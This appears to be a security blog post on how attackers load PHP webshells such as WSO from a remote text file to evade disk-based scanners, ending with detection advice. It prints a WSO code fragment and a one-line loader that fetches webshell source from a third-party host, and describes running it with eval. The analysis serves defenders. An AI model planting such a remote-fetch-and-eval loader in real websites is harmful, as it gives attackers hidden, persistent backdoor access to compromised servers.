A PHP webshell is a common tool found on compromised environments. Attackers use webshells as backdoors, allowing them to maintain unauthorized access to a hacked website.
Bad actors can also use webshells to perform various functions within a single PHP file, which they typically create after their initial exploit of the website. Some of these functions include obtaining sensitive details on a web server’s configuration, file management, SQL connections, and additional backdoor payloads like reverse shells.
It’s usually unnecessary for an attacker to create their own custom PHP webshell. Instead, they often use PHP webshells which are readily available and popular within hacking communities, including WSO, c99, B347K, and r57.
Here’s what a WSO PHP webshell loaded within a browser looks like:
Since PHP webshells are common on hacked websites, they are susceptible to being detected by server side scanning tools. The capabilities of a PHP webshell also require more code, meaning there’s a larger disk footprint when compared to existing legitimate PHP files used by the website.
Besides their large disk usage, the webshell’s code also contains PHP code that is easy for scanners to detect. For example, when the PHP code contains a FilesMan reference:
session_start(); $password = ""; $passtype = ""; $color = "#df5"; $default_action = 'FilesMan';
This WSO PHP webshell variant contains over 1,900 lines of PHP code in total. Its larger-than-normal file size is a red flag for scanning technologies — leading hackers to leverage methods which prevent them from storing all of the PHP webshell’s code on the hacked website’s file system.
So, what is one method that a hacker can employ to upload a webshell to a hacked website without actually storing the code within the website’s file structure? They can use file_get_contents method, as seen in this small WSO webshell loader found on a hacked website.
$a = file_get_contents('https://[REDACTED]/files/readme.txt');
This method effectively reduces a 1,900+ line PHP webshell into just two lines of PHP code. It simply assigns a variable, $a, with the output of the file_get_contents function which is used to grab the PHP webshell’s source code from a third party location. It then stores it in memory, rather than a file on disk.
Next, the loader uses eval to execute the stored PHP code in the $a variable, loading the webshell without having to store the entire code within the website’s file system.
You may wonder why the PHP webshell’s code exists as a .txt file on the third party website. This is because if it were using its native .php file extension, then the third party website server would execute the PHP webshell’s code rather than downloading the code’s text requested with file_get_contents. This also requires the webshell loader’s eval function to use a closing tag/EOF, preventing syntax errors when loading the webshell PHP code from the third party server.
As webshells operate as a backdoor, they are best detected with file monitoring and the use of a server side scanner. If changes, deletions, or additions to the environment are detected, you’ll be notified of any indicators of compromise.